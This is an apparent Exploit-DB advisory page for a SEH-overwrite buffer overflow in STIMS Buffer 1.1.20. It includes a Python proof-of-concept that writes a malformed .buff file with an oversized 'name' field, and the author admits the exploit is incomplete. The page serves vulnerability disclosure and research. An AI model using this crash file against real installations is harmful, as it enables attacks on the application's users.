STIMS BUFFER OVERFLOW SEH OVERWRITE

vendor:

STIMS Buffer

by:

Ishita Sailor

7,8

CVSS

HIGH

Buffer Overflow

787

CWE

Product Name: STIMS Buffer

Affected Version From: 1.1.20

Affected Version To: 1.1.20

Patch Exists: YES

Related CWE: UNKNOWN

CPE: a:stimslabs:stims_buffer:1.1.20

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows XP SP3

2016

STIMS BUFFER OVERFLOW SEH OVERWRITE

A buffer overflow vulnerability exists in STIMS Buffer version 1.1.20, which allows an attacker to overwrite the SEH pointer and execute arbitrary code. To exploit the vulnerability, an attacker must create a malicious buff file and open it in the STIMSBuffer application. When the View Report button is clicked, the SEH pointer is overwritten and arbitrary code can be executed.

Mitigation:

The vendor has released a patch to address this vulnerability.

Source

Exploit-DB raw data:

# Exploit Title: STIMS BUFFER OVERFLOW SEH OVERWRITE
# Date: 19 Feb 2016
# Exploit Author: Ishita Sailor <ishitasailor@gmail.com>
# Vendor Homepage: http://www.stimslabs.com/
# Software Link: http://www.stimslabs.com/en/buffer/STIMSBufferEnSetup.exe
# Version: 1.1.20
# Tested on: Windows XP SP3
# CVE : UNKNOWN
# ==============HOW TO CRASH ==================
#make the buff file and open it it the STIMSBuffer application.
#Click on View Report
#===========================================
#Problems in exploitation
#Unable to find suitable SEH pointer
#


#!/usr/bin/env python
f=open("crash.buff","w")
payload="""<!--block:#solution-->
[solution]
name="""
payload +="\x41"*8460
payload +="\x42"*4 #SEH overwrite

payload +="""desc=asdasdasd
time=0
version=1
file=C:\Documents and Settings\IEUser\Desktop\z.buff
time.created=131003052796300000
app=1.1.1
projects=1
time.last=131003052894110000
<!--#solution:block-->
<!--block:Buffer 1-->
[properties]
buffer.id=0
buffer.name=Maleic acid / sodium hydrogen maleate
buffer.desc=Maleic acid / sodium hydrogen maleate with pKa 2
buffer.inp.pka=2.00000
buffer.inp.vol=1000.000000
buffer.inp.ph=2.000000
buffer.inp.conc=1.000000
buffer.inp.temp=24.000000
buffer.out.strength=0.592637
buffer.out.sln1.name=Maleic acid
buffer.out.sln1.conc=3.000000
buffer.out.sln1.vol=135.787622
buffer.out.sln2.name=Sodium hydrogen maleate
buffer.out.sln2.conc=3.000000
buffer.out.sln2.vol=197.545712
buffer.out.water=1000.000000
comment=
comment.active=0
notes=
notes.active=0
name=Buffer 1
active=1
<!--Buffer 1:block-->
"""
f.write(payload)
f.close()